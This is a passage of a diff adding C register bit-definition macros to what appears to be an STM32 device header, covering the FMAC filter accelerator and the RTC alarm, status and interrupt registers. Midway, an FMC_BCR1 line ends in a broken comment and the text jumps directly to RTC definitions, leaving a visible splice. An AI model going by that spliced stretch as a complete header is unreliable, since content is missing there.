FMAC_X2BUFCFG_X2_BASE_Pos (0UL) +#define FMAC_X2BUFCFG_X2_BASE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X2BUFCFG_X2_BASE FMAC_X2BUFCFG_X2_BASE_Msk /*!< Base address of X2 buffer */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Pos (8UL) +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE FMAC_X2BUFCFG_X2_BUF_SIZE_Msk /*!< Size of X2 buffer in 16-bit words */ + +/***************** Bit definition for FMAC_YBUFCFG register *****************/ +#define FMAC_YBUFCFG_Y_BASE_Pos (0UL) +#define FMAC_YBUFCFG_Y_BASE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_YBUFCFG_Y_BASE FMAC_YBUFCFG_Y_BASE_Msk /*!< Base address of Y buffer */ +#define FMAC_YBUFCFG_Y_BUF_SIZE_Pos (8UL) +#define FMAC_YBUFCFG_Y_BUF_SIZE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_YBUFCFG_Y_BUF_SIZE FMAC_YBUFCFG_Y_BUF_SIZE_Msk /*!< Size of Y buffer in 16-bit words */ +#define FMAC_YBUFCFG_EMPTY_WM_Pos (24UL) +#define FMAC_YBUFCFG_EMPTY_WM_Msk (0x3UL << FMAC_YBUFCFG_EMPTY_WM_Pos) /*!< 0x03000000 */ +#define FMAC_YBUFCFG_EMPTY_WM FMAC_YBUFCFG_EMPTY_WM_Msk /*!< Watermark for buffer empty flag */ + +/****************** Bit definition for FMAC_PARAM register ******************/ +#define FMAC_PARAM_P_Pos (0UL) +#define FMAC_PARAM_P_Msk (0xFFUL << FMAC_PARAM_P_Pos) /*!< 0x000000FF */ +#define FMAC_PARAM_P FMAC_PARAM_P_Msk /*!< Input parameter P */ +#define FMAC_PARAM_Q_Pos (8UL) +#define FMAC_PARAM_Q_Msk (0xFFUL << FMAC_PARAM_Q_Pos) /*!< 0x0000FF00 */ +#define FMAC_PARAM_Q FMAC_PARAM_Q_Msk /*!< Input parameter Q */ +#define FMAC_PARAM_R_Pos (16UL) +#define FMAC_PARAM_R_Msk (0xFFUL << FMAC_PARAM_R_Pos) /*!< 0x00FF0000 */ +#define FMAC_PARAM_R FMAC_PARAM_R_Msk /*!< Input parameter R */ +#define FMAC_PARAM_FUNC_Pos (24UL) +#define FMAC_PARAM_FUNC_Msk (0x7FUL << FMAC_PARAM_FUNC_Pos) /*!< 0x7F000000 */ +#define FMAC_PARAM_FUNC FMAC_PARAM_FUNC_Msk /*!< Function */ +#define FMAC_PARAM_FUNC_0 (0x1UL << FMAC_PARAM_FUNC_Pos) /*!< 0x01000000 */ +#define FMAC_PARAM_FUNC_1 (0x2UL << FMAC_PARAM_FUNC_Pos) /*!< 0x02000000 */ +#define FMAC_PARAM_FUNC_2 (0x4UL << FMAC_PARAM_FUNC_Pos) /*!< 0x04000000 */ +#define FMAC_PARAM_FUNC_3 (0x8UL << FMAC_PARAM_FUNC_Pos) /*!< 0x08000000 */ +#define FMAC_PARAM_FUNC_4 (0x10UL << FMAC_PARAM_FUNC_Pos) /*!< 0x10000000 */ +#define FMAC_PARAM_FUNC_5 (0x20UL << FMAC_PARAM_FUNC_Pos) /*!< 0x20000000 */ +#define FMAC_PARAM_FUNC_6 (0x40UL << FMAC_PARAM_FUNC_Pos) /*!< 0x40000000 */ +#define FMAC_PARAM_START_Pos (31UL) +#define FMAC_PARAM_START_Msk (0x1UL << FMAC_PARAM_START_Pos) /*!< 0x80000000 */ +#define FMAC_PARAM_START FMAC_PARAM_START_Msk /*!< Enable execution */ + +/******************** Bit definition for FMAC_CR register *******************/ +#define FMAC_CR_RIEN_Pos (0UL) +#define FMAC_CR_RIEN_Msk (0x1UL << FMAC_CR_RIEN_Pos) /*!< 0x00000001 */ +#define FMAC_CR_RIEN FMAC_CR_RIEN_Msk /*!< Enable read interrupt */ +#define FMAC_CR_WIEN_Pos (1UL) +#define FMAC_CR_WIEN_Msk (0x1UL << FMAC_CR_WIEN_Pos) /*!< 0x00000002 */ +#define FMAC_CR_WIEN FMAC_CR_WIEN_Msk /*!< Enable write interrupt */ +#define FMAC_CR_OVFLIEN_Pos (2UL) +#define FMAC_CR_OVFLIEN_Msk (0x1UL << FMAC_CR_OVFLIEN_Pos) /*!< 0x00000004 */ +#define FMAC_CR_OVFLIEN FMAC_CR_OVFLIEN_Msk /*!< Enable overflow error interrupts */ +#define FMAC_CR_UNFLIEN_Pos (3UL) +#define FMAC_CR_UNFLIEN_Msk (0x1UL << FMAC_CR_UNFLIEN_Pos) /*!< 0x00000008 */ +#define FMAC_CR_UNFLIEN FMAC_CR_UNFLIEN_Msk /*!< Enable underflow error interrupts */ +#define FMAC_CR_SATIEN_Pos (4UL) +#define FMAC_CR_SATIEN_Msk (0x1UL << FMAC_CR_SATIEN_Pos) /*!< 0x00000010 */ +#define FMAC_CR_SATIEN FMAC_CR_SATIEN_Msk /*!< Enable saturation error interrupts */ +#define FMAC_CR_DMAREN_Pos (8UL) +#define FMAC_CR_DMAREN_Msk (0x1UL << FMAC_CR_DMAREN_Pos) /*!< 0x00000100 */ +#define FMAC_CR_DMAREN FMAC_CR_DMAREN_Msk /*!< Enable DMA read channel requests */ +#define FMAC_CR_DMAWEN_Pos (9UL) +#define FMAC_CR_DMAWEN_Msk (0x1UL << FMAC_CR_DMAWEN_Pos) /*!< 0x00000200 */ +#define FMAC_CR_DMAWEN FMAC_CR_DMAWEN_Msk /*!< Enable DMA write channel requests */ +#define FMAC_CR_CLIPEN_Pos (15UL) +#define FMAC_CR_CLIPEN_Msk (0x1UL << FMAC_CR_CLIPEN_Pos) /*!< 0x00008000 */ +#define FMAC_CR_CLIPEN FMAC_CR_CLIPEN_Msk /*!< Enable clipping */ +#define FMAC_CR_RESET_Pos (16UL) +#define FMAC_CR_RESET_Msk (0x1UL << FMAC_CR_RESET_Pos) /*!< 0x00010000 */ +#define FMAC_CR_RESET FMAC_CR_RESET_Msk /*!< Reset filter mathematical accelerator unit */ + +/******************* Bit definition for FMAC_SR register ********************/ +#define FMAC_SR_YEMPTY_Pos (0UL) +#define FMAC_SR_YEMPTY_Msk (0x1UL << FMAC_SR_YEMPTY_Pos) /*!< 0x00000001 */ +#define FMAC_SR_YEMPTY FMAC_SR_YEMPTY_Msk /*!< Y buffer empty flag */ +#define FMAC_SR_X1FULL_Pos (1UL) +#define FMAC_SR_X1FULL_Msk (0x1UL << FMAC_SR_X1FULL_Pos) /*!< 0x00000002 */ +#define FMAC_SR_X1FULL FMAC_SR_X1FULL_Msk /*!< X1 buffer full flag */ +#define FMAC_SR_OVFL_Pos (8UL) +#define FMAC_SR_OVFL_Msk (0x1UL << FMAC_SR_OVFL_Pos) /*!< 0x00000100 */ +#define FMAC_SR_OVFL FMAC_SR_OVFL_Msk /*!< Overflow error flag */ +#define FMAC_SR_UNFL_Pos (9UL) +#define FMAC_SR_UNFL_Msk (0x1UL << FMAC_SR_UNFL_Pos) /*!< 0x00000200 */ +#define FMAC_SR_UNFL FMAC_SR_UNFL_Msk /*!< Underflow error flag */ +#define FMAC_SR_SAT_Pos (10UL) +#define FMAC_SR_SAT_Msk (0x1UL << FMAC_SR_SAT_Pos) /*!< 0x00000400 */ +#define FMAC_SR_SAT FMAC_SR_SAT_Msk /*!< Saturation error flag */ + +/****************** Bit definition for FMAC_WDATA register ******************/ +#define FMAC_WDATA_WDATA_Pos (0UL) +#define FMAC_WDATA_WDATA_Msk (0xFFFFUL << FMAC_WDATA_WDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_WDATA_WDATA FMAC_WDATA_WDATA_Msk /*!< Write data */ + +/****************** Bit definition for FMACX_RDATA register *****************/ +#define FMAC_RDATA_RDATA_Pos (0UL) +#define FMAC_RDATA_RDATA_Msk (0xFFFFUL << FMAC_RDATA_RDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_RDATA_RDATA FMAC_RDATA_RDATA_Msk /*!< Read data */ + +/******************************************************************************/ +/* */ +/* Flexible Memory Controller */ +/* */ +/******************************************************************************/ +/****************** Bit definition for FMC_BCR1 register *******************/ +#define FMC_BCR1_CCLKEN_Pos (20UL) +#define FMC_BCR1_CCLKEN_Msk (0x1UL << FMC_BCR1_CCLKEN_Pos) /*!< 0x00100000 */ +#define FMC_BCR1_CCLKEN FMC_BCR1_CCLKEN_Msk /*! */ + +/******************** Bits definition for RTC_ALRMAR register ***************/ +#define RTC_ALRMAR_SU_Pos (0UL) +#define RTC_ALRMAR_SU_Msk (0xFUL << RTC_ALRMAR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMAR_SU RTC_ALRMAR_SU_Msk +#define RTC_ALRMAR_SU_0 (0x1UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMAR_SU_1 (0x2UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMAR_SU_2 (0x4UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMAR_SU_3 (0x8UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMAR_ST_Pos (4UL) +#define RTC_ALRMAR_ST_Msk (0x7UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMAR_ST RTC_ALRMAR_ST_Msk +#define RTC_ALRMAR_ST_0 (0x1UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMAR_ST_1 (0x2UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMAR_ST_2 (0x4UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMAR_MSK1_Pos (7UL) +#define RTC_ALRMAR_MSK1_Msk (0x1UL << RTC_ALRMAR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMAR_MSK1 RTC_ALRMAR_MSK1_Msk +#define RTC_ALRMAR_MNU_Pos (8UL) +#define RTC_ALRMAR_MNU_Msk (0xFUL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMAR_MNU RTC_ALRMAR_MNU_Msk +#define RTC_ALRMAR_MNU_0 (0x1UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMAR_MNU_1 (0x2UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMAR_MNU_2 (0x4UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMAR_MNU_3 (0x8UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMAR_MNT_Pos (12UL) +#define RTC_ALRMAR_MNT_Msk (0x7UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMAR_MNT RTC_ALRMAR_MNT_Msk +#define RTC_ALRMAR_MNT_0 (0x1UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMAR_MNT_1 (0x2UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMAR_MNT_2 (0x4UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMAR_MSK2_Pos (15UL) +#define RTC_ALRMAR_MSK2_Msk (0x1UL << RTC_ALRMAR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMAR_MSK2 RTC_ALRMAR_MSK2_Msk +#define RTC_ALRMAR_HU_Pos (16UL) +#define RTC_ALRMAR_HU_Msk (0xFUL << RTC_ALRMAR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMAR_HU RTC_ALRMAR_HU_Msk +#define RTC_ALRMAR_HU_0 (0x1UL << RTC_ALRMAR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMAR_HU_1 (0x2UL << RTC_ALRMAR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMAR_HU_2 (0x4UL << RTC_ALRMAR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMAR_HU_3 (0x8UL << RTC_ALRMAR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMAR_HT_Pos (20UL) +#define RTC_ALRMAR_HT_Msk (0x3UL << RTC_ALRMAR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMAR_HT RTC_ALRMAR_HT_Msk +#define RTC_ALRMAR_HT_0 (0x1UL << RTC_ALRMAR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMAR_HT_1 (0x2UL << RTC_ALRMAR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMAR_PM_Pos (22UL) +#define RTC_ALRMAR_PM_Msk (0x1UL << RTC_ALRMAR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMAR_PM RTC_ALRMAR_PM_Msk +#define RTC_ALRMAR_MSK3_Pos (23UL) +#define RTC_ALRMAR_MSK3_Msk (0x1UL << RTC_ALRMAR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMAR_MSK3 RTC_ALRMAR_MSK3_Msk +#define RTC_ALRMAR_DU_Pos (24UL) +#define RTC_ALRMAR_DU_Msk (0xFUL << RTC_ALRMAR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMAR_DU RTC_ALRMAR_DU_Msk +#define RTC_ALRMAR_DU_0 (0x1UL << RTC_ALRMAR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMAR_DU_1 (0x2UL << RTC_ALRMAR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMAR_DU_2 (0x4UL << RTC_ALRMAR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMAR_DU_3 (0x8UL << RTC_ALRMAR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMAR_DT_Pos (28UL) +#define RTC_ALRMAR_DT_Msk (0x3UL << RTC_ALRMAR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMAR_DT RTC_ALRMAR_DT_Msk +#define RTC_ALRMAR_DT_0 (0x1UL << RTC_ALRMAR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMAR_DT_1 (0x2UL << RTC_ALRMAR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMAR_WDSEL_Pos (30UL) +#define RTC_ALRMAR_WDSEL_Msk (0x1UL << RTC_ALRMAR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMAR_WDSEL RTC_ALRMAR_WDSEL_Msk +#define RTC_ALRMAR_MSK4_Pos (31UL) +#define RTC_ALRMAR_MSK4_Msk (0x1UL << RTC_ALRMAR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMAR_MSK4 RTC_ALRMAR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMASSR register *************/ +#define RTC_ALRMASSR_SS_Pos (0UL) +#define RTC_ALRMASSR_SS_Msk (0x7FFFUL << RTC_ALRMASSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMASSR_SS RTC_ALRMASSR_SS_Msk +#define RTC_ALRMASSR_MASKSS_Pos (24UL) +#define RTC_ALRMASSR_MASKSS_Msk (0xFUL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMASSR_MASKSS RTC_ALRMASSR_MASKSS_Msk +#define RTC_ALRMASSR_MASKSS_0 (0x1UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMASSR_MASKSS_1 (0x2UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMASSR_MASKSS_2 (0x4UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMASSR_MASKSS_3 (0x8UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMASSR_SSCLR_Pos (31UL) +#define RTC_ALRMASSR_SSCLR_Msk (0x1UL << RTC_ALRMASSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMASSR_SSCLR RTC_ALRMASSR_SSCLR_Msk + +/******************** Bits definition for RTC_ALRMBR register ***************/ +#define RTC_ALRMBR_SU_Pos (0UL) +#define RTC_ALRMBR_SU_Msk (0xFUL << RTC_ALRMBR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMBR_SU RTC_ALRMBR_SU_Msk +#define RTC_ALRMBR_SU_0 (0x1UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMBR_SU_1 (0x2UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMBR_SU_2 (0x4UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMBR_SU_3 (0x8UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMBR_ST_Pos (4UL) +#define RTC_ALRMBR_ST_Msk (0x7UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMBR_ST RTC_ALRMBR_ST_Msk +#define RTC_ALRMBR_ST_0 (0x1UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMBR_ST_1 (0x2UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMBR_ST_2 (0x4UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMBR_MSK1_Pos (7UL) +#define RTC_ALRMBR_MSK1_Msk (0x1UL << RTC_ALRMBR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMBR_MSK1 RTC_ALRMBR_MSK1_Msk +#define RTC_ALRMBR_MNU_Pos (8UL) +#define RTC_ALRMBR_MNU_Msk (0xFUL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMBR_MNU RTC_ALRMBR_MNU_Msk +#define RTC_ALRMBR_MNU_0 (0x1UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMBR_MNU_1 (0x2UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMBR_MNU_2 (0x4UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMBR_MNU_3 (0x8UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMBR_MNT_Pos (12UL) +#define RTC_ALRMBR_MNT_Msk (0x7UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMBR_MNT RTC_ALRMBR_MNT_Msk +#define RTC_ALRMBR_MNT_0 (0x1UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMBR_MNT_1 (0x2UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMBR_MNT_2 (0x4UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMBR_MSK2_Pos (15UL) +#define RTC_ALRMBR_MSK2_Msk (0x1UL << RTC_ALRMBR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMBR_MSK2 RTC_ALRMBR_MSK2_Msk +#define RTC_ALRMBR_HU_Pos (16UL) +#define RTC_ALRMBR_HU_Msk (0xFUL << RTC_ALRMBR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMBR_HU RTC_ALRMBR_HU_Msk +#define RTC_ALRMBR_HU_0 (0x1UL << RTC_ALRMBR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMBR_HU_1 (0x2UL << RTC_ALRMBR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMBR_HU_2 (0x4UL << RTC_ALRMBR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMBR_HU_3 (0x8UL << RTC_ALRMBR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMBR_HT_Pos (20UL) +#define RTC_ALRMBR_HT_Msk (0x3UL << RTC_ALRMBR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMBR_HT RTC_ALRMBR_HT_Msk +#define RTC_ALRMBR_HT_0 (0x1UL << RTC_ALRMBR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMBR_HT_1 (0x2UL << RTC_ALRMBR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMBR_PM_Pos (22UL) +#define RTC_ALRMBR_PM_Msk (0x1UL << RTC_ALRMBR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMBR_PM RTC_ALRMBR_PM_Msk +#define RTC_ALRMBR_MSK3_Pos (23UL) +#define RTC_ALRMBR_MSK3_Msk (0x1UL << RTC_ALRMBR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMBR_MSK3 RTC_ALRMBR_MSK3_Msk +#define RTC_ALRMBR_DU_Pos (24UL) +#define RTC_ALRMBR_DU_Msk (0xFUL << RTC_ALRMBR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBR_DU RTC_ALRMBR_DU_Msk +#define RTC_ALRMBR_DU_0 (0x1UL << RTC_ALRMBR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBR_DU_1 (0x2UL << RTC_ALRMBR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBR_DU_2 (0x4UL << RTC_ALRMBR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBR_DU_3 (0x8UL << RTC_ALRMBR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBR_DT_Pos (28UL) +#define RTC_ALRMBR_DT_Msk (0x3UL << RTC_ALRMBR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMBR_DT RTC_ALRMBR_DT_Msk +#define RTC_ALRMBR_DT_0 (0x1UL << RTC_ALRMBR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMBR_DT_1 (0x2UL << RTC_ALRMBR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMBR_WDSEL_Pos (30UL) +#define RTC_ALRMBR_WDSEL_Msk (0x1UL << RTC_ALRMBR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMBR_WDSEL RTC_ALRMBR_WDSEL_Msk +#define RTC_ALRMBR_MSK4_Pos (31UL) +#define RTC_ALRMBR_MSK4_Msk (0x1UL << RTC_ALRMBR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBR_MSK4 RTC_ALRMBR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMBSSR register *************/ +#define RTC_ALRMBSSR_SS_Pos (0UL) +#define RTC_ALRMBSSR_SS_Msk (0x7FFFUL << RTC_ALRMBSSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMBSSR_SS RTC_ALRMBSSR_SS_Msk +#define RTC_ALRMBSSR_MASKSS_Pos (24UL) +#define RTC_ALRMBSSR_MASKSS_Msk (0xFUL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBSSR_MASKSS RTC_ALRMBSSR_MASKSS_Msk +#define RTC_ALRMBSSR_MASKSS_0 (0x1UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBSSR_MASKSS_1 (0x2UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBSSR_MASKSS_2 (0x4UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBSSR_MASKSS_3 (0x8UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBSSR_SSCLR_Pos (31UL) +#define RTC_ALRMBSSR_SSCLR_Msk (0x1UL << RTC_ALRMBSSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBSSR_SSCLR RTC_ALRMBSSR_SSCLR_Msk + +/******************** Bits definition for RTC_SR register *******************/ +#define RTC_SR_ALRAF_Pos (0UL) +#define RTC_SR_ALRAF_Msk (0x1UL << RTC_SR_ALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SR_ALRAF RTC_SR_ALRAF_Msk +#define RTC_SR_ALRBF_Pos (1UL) +#define RTC_SR_ALRBF_Msk (0x1UL << RTC_SR_ALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SR_ALRBF RTC_SR_ALRBF_Msk +#define RTC_SR_WUTF_Pos (2UL) +#define RTC_SR_WUTF_Msk (0x1UL << RTC_SR_WUTF_Pos) /*!< 0x00000004 */ +#define RTC_SR_WUTF RTC_SR_WUTF_Msk +#define RTC_SR_TSF_Pos (3UL) +#define RTC_SR_TSF_Msk (0x1UL << RTC_SR_TSF_Pos) /*!< 0x00000008 */ +#define RTC_SR_TSF RTC_SR_TSF_Msk +#define RTC_SR_TSOVF_Pos (4UL) +#define RTC_SR_TSOVF_Msk (0x1UL << RTC_SR_TSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SR_TSOVF RTC_SR_TSOVF_Msk +#define RTC_SR_ITSF_Pos (5UL) +#define RTC_SR_ITSF_Msk (0x1UL << RTC_SR_ITSF_Pos) /*!< 0x00000020 */ +#define RTC_SR_ITSF RTC_SR_ITSF_Msk +#define RTC_SR_SSRUF_Pos (6UL) +#define RTC_SR_SSRUF_Msk (0x1UL << RTC_SR_SSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SR_SSRUF RTC_SR_SSRUF_Msk + +/******************** Bits definition for RTC_MISR register *****************/ +#define RTC_MISR_ALRAMF_Pos (0UL) +#define RTC_MISR_ALRAMF_Msk (0x1UL << RTC_MISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_MISR_ALRAMF RTC_MISR_ALRAMF_Msk +#define RTC_MISR_ALRBMF_Pos (1UL) +#define RTC_MISR_ALRBMF_Msk (0x1UL << RTC_MISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_MISR_ALRBMF RTC_MISR_ALRBMF_Msk +#define RTC_MISR_WUTMF_Pos (2UL) +#define RTC_MISR_WUTMF_Msk (0x1UL << RTC_MISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_MISR_WUTMF RTC_MISR_WUTMF_Msk +#define RTC_MISR_TSMF_Pos (3UL) +#define RTC_MISR_TSMF_Msk (0x1UL << RTC_MISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_MISR_TSMF RTC_MISR_TSMF_Msk +#define RTC_MISR_TSOVMF_Pos (4UL) +#define RTC_MISR_TSOVMF_Msk (0x1UL << RTC_MISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_MISR_TSOVMF RTC_MISR_TSOVMF_Msk +#define RTC_MISR_ITSMF_Pos (5UL) +#define RTC_MISR_ITSMF_Msk (0x1UL << RTC_MISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_MISR_ITSMF RTC_MISR_ITSMF_Msk +#define RTC_MISR_SSRUMF_Pos (6UL) +#define RTC_MISR_SSRUMF_Msk (0x1UL << RTC_MISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_MISR_SSRUMF RTC_MISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SMISR register *****************/ +#define RTC_SMISR_ALRAMF_Pos (0UL) +#define RTC_SMISR_ALRAMF_Msk (0x1UL << RTC_SMISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_SMISR_ALRAMF RTC_SMISR_ALRAMF_Msk +#define RTC_SMISR_ALRBMF_Pos (1UL) +#define RTC_SMISR_ALRBMF_Msk (0x1UL << RTC_SMISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_SMISR_ALRBMF RTC_SMISR_ALRBMF_Msk +#define RTC_SMISR_WUTMF_Pos (2UL) +#define RTC_SMISR_WUTMF_Msk (0x1UL << RTC_SMISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_SMISR_WUTMF RTC_SMISR_WUTMF_Msk +#define RTC_SMISR_TSMF_Pos (3UL) +#define RTC_SMISR_TSMF_Msk (0x1UL << RTC_SMISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_SMISR_TSMF RTC_SMISR_TSMF_Msk +#define RTC_SMISR_TSOVMF_Pos (4UL) +#define RTC_SMISR_TSOVMF_Msk (0x1UL << RTC_SMISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_SMISR_TSOVMF RTC_SMISR_TSOVMF_Msk +#define RTC_SMISR_ITSMF_Pos (5UL) +#define RTC_SMISR_ITSMF_Msk (0x1UL << RTC_SMISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_SMISR_ITSMF RTC_SMISR_ITSMF_Msk +#define RTC_SMISR_SSRUMF_Pos (6UL) +#define RTC_SMISR_SSRUMF_Msk (0x1UL << RTC_SMISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_SMISR_SSRUMF RTC_SMISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SCR register ******************/ +#define RTC_SCR_CALRAF_Pos (0UL) +#define RTC_SCR_CALRAF_Msk (0x1UL << RTC_SCR_CALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SCR_CALRAF RTC_SCR_CALRAF_Msk +#define RTC_SCR_CALRBF_Pos (1UL) +#define RTC_SCR_CALRBF_Msk (0x1UL << RTC_SCR_CALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SCR_CALRBF 